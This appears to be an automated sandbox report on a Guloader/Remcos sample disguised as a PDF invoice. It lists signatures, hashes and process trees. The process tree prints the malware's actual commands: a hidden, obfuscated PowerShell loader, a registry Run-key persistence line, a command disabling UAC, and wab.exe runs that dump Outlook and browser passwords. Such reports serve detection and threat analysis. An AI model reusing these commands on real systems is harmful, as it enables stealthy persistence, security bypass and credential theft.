Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-07-2024 09:49

General

  • Target

    OD2J305312A-200805674H-2024090716pdf.exe

  • Size

    387KB

  • MD5

    06e45d2db3c52517fc7139b3b32a4742

  • SHA1

    602ab4e85c1506af02d51e144298bac3aea331ca

  • SHA256

    9500e0c5048bf63eeb3dee4c704ebd0f7ddc24902be50a9ef1dd0c0148546e0f

  • SHA512

    32e1131c14136721d872ea13736fe7041d8d7e09a1efac363a4bc1d29a9bcd4fcfc8e523cf689386a7e8fe67100194211a1ea9934f7fde5f241df77adcdb61bd

  • SSDEEP

    12288:3GqS6hqE06uAyNOcSN6dJjfJ1mPaxm5Bj3O9X:3GqS6hb0Kd4FBcixmBje9

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • UAC bypass 3 TTPs 1 IoCs
  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OD2J305312A-200805674H-2024090716pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\OD2J305312A-200805674H-2024090716pdf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1568
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Metabolizable=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139';$Kumpan=$Metabolizable.SubString(7195,3);.$Kumpan($Metabolizable)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3176
      • C:\Program Files (x86)\windows mail\wab.exe
        "C:\Program Files (x86)\windows mail\wab.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\Ufrugtbarhedens\').quadricapsular;%Grshoppens% ($nedstemmes)"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2936
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Grshoppens% -windowstyle minimized $nedstemmes=(Get-ItemProperty -Path 'HKCU:\Ufrugtbarhedens\').quadricapsular;%Grshoppens% ($nedstemmes)"
            5⤵
            • Adds Run key to start application
            • Modifies registry key
            PID:3672
        • C:\Windows\SysWOW64\cmd.exe
          /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4464
          • C:\Windows\SysWOW64\reg.exe
            C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
            5⤵
            • UAC bypass
            • Modifies registry key
            PID:3932
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\guatvonppz"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2692
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qwflvgxjdhpgl"
          4⤵
          • Accesses Microsoft Outlook accounts
          PID:3752
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bqkwwyilrphknjcjg"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4728
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4164,i,270339169963605285,17552719617811964021,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:8
    1⤵
      PID:2960

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\remcos\logs.dat

      Filesize

      144B

      MD5

      5ad957af298d03de4e90b0a7eb64d9d4

      SHA1

      aebce97e9f768846ae0aa46665acd36087f79556

      SHA256

      9968ed883c080f0a20786493c199886e1815981e795c2fc6636823ac2c26218e

      SHA512

      e1b468e05c8a74bb91d509d4a46a10e93cf4c83bb229cd568190009d533cab0f246edb044eebb3c0515e5c57c92ddbe32c9825781c5dc4d175b0055f9f193e30

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s1zkixxb.xmh.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\guatvonppz

      Filesize

      4KB

      MD5

      be3be306ce816aa6030d9bfec1df34b0

      SHA1

      66b10c4578245de0f78c445119e67f0bfb84bbf3

      SHA256

      0c38ee44dc9eb4f240b667240c115fed88091bc04001d909b841ad8570738467

      SHA512

      b9aee88755e6e239c7aa1d3c39488722786c1faa01de3c70cf822059f461ca277965b8dd50773e015444a83cc69b5f31c6379957de54a5073ef8799b26a12bcc

    • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Emptyhanded.Sla139

      Filesize

      65KB

      MD5

      67cb075314762a89035c6b2b15c68f00

      SHA1

      382134aa018f620cdfbab89a67ae7c10b22e8547

      SHA256

      a853d35e1301ceef0526d96852cf8ed766c3d9f04bc5a7b49522b02d1b4302ea

      SHA512

      5677a3b68f751f9cb252d45aa35f4609fe0f81c734b3ed44ddb2acd8e017c371027841892f61a7aa71debe950b2b7ea05ecdbfe577130c69a8d74c74cbaf4190

    • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Varmevrkernes160.Ove

      Filesize

      325KB

      MD5

      b9207704502bf9bc8956ea19f761c559

      SHA1

      dee462bb9bff33881c21ce2f8615a222cbb28aa2

      SHA256

      ea7565fe3b1b2fa90145b41406c2b175846785ba1be2d0248030dedbdd4aec6f

      SHA512

      cba66f601051aaee865574f94996c480873017195c122d750f7355a777359ec0ba05b5f786c88753c7e3b87a01daeae82edba1d3a799e09e28f7ef8bc1f6d704

    • memory/2692-67-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2692-74-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2692-72-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/2700-91-0x00000000230F0000-0x0000000023109000-memory.dmp

      Filesize

      100KB

    • memory/2700-88-0x00000000230F0000-0x0000000023109000-memory.dmp

      Filesize

      100KB

    • memory/2700-92-0x00000000230F0000-0x0000000023109000-memory.dmp

      Filesize

      100KB

    • memory/2700-65-0x0000000002480000-0x00000000065A9000-memory.dmp

      Filesize

      65.2MB

    • memory/2700-49-0x0000000077AD8000-0x0000000077AD9000-memory.dmp

      Filesize

      4KB

    • memory/2700-50-0x0000000077A51000-0x0000000077B71000-memory.dmp

      Filesize

      1.1MB

    • memory/2700-48-0x0000000077A51000-0x0000000077B71000-memory.dmp

      Filesize

      1.1MB

    • memory/2700-95-0x0000000077A51000-0x0000000077B71000-memory.dmp

      Filesize

      1.1MB

    • memory/3176-42-0x000000007400E000-0x000000007400F000-memory.dmp

      Filesize

      4KB

    • memory/3176-29-0x0000000006CC0000-0x0000000006D56000-memory.dmp

      Filesize

      600KB

    • memory/3176-36-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-37-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-38-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-32-0x0000000007310000-0x00000000078B4000-memory.dmp

      Filesize

      5.6MB

    • memory/3176-40-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-41-0x00000000085C0000-0x000000000C6E9000-memory.dmp

      Filesize

      65.2MB

    • memory/3176-9-0x000000007400E000-0x000000007400F000-memory.dmp

      Filesize

      4KB

    • memory/3176-43-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-45-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-46-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-47-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-31-0x0000000006240000-0x0000000006262000-memory.dmp

      Filesize

      136KB

    • memory/3176-30-0x00000000061F0000-0x000000000620A000-memory.dmp

      Filesize

      104KB

    • memory/3176-34-0x0000000007F40000-0x00000000085BA000-memory.dmp

      Filesize

      6.5MB

    • memory/3176-28-0x0000000005D10000-0x0000000005D5C000-memory.dmp

      Filesize

      304KB

    • memory/3176-27-0x0000000005CE0000-0x0000000005CFE000-memory.dmp

      Filesize

      120KB

    • memory/3176-10-0x0000000004760000-0x0000000004796000-memory.dmp

      Filesize

      216KB

    • memory/3176-11-0x0000000004DD0000-0x00000000053F8000-memory.dmp

      Filesize

      6.2MB

    • memory/3176-12-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-13-0x0000000074000000-0x00000000747B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3176-22-0x00000000056D0000-0x0000000005A24000-memory.dmp

      Filesize

      3.3MB

    • memory/3176-14-0x0000000004DA0000-0x0000000004DC2000-memory.dmp

      Filesize

      136KB

    • memory/3176-15-0x0000000005470000-0x00000000054D6000-memory.dmp

      Filesize

      408KB

    • memory/3176-16-0x00000000054E0000-0x0000000005546000-memory.dmp

      Filesize

      408KB

    • memory/3752-75-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/3752-70-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/3752-68-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/4728-73-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/4728-71-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/4728-69-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB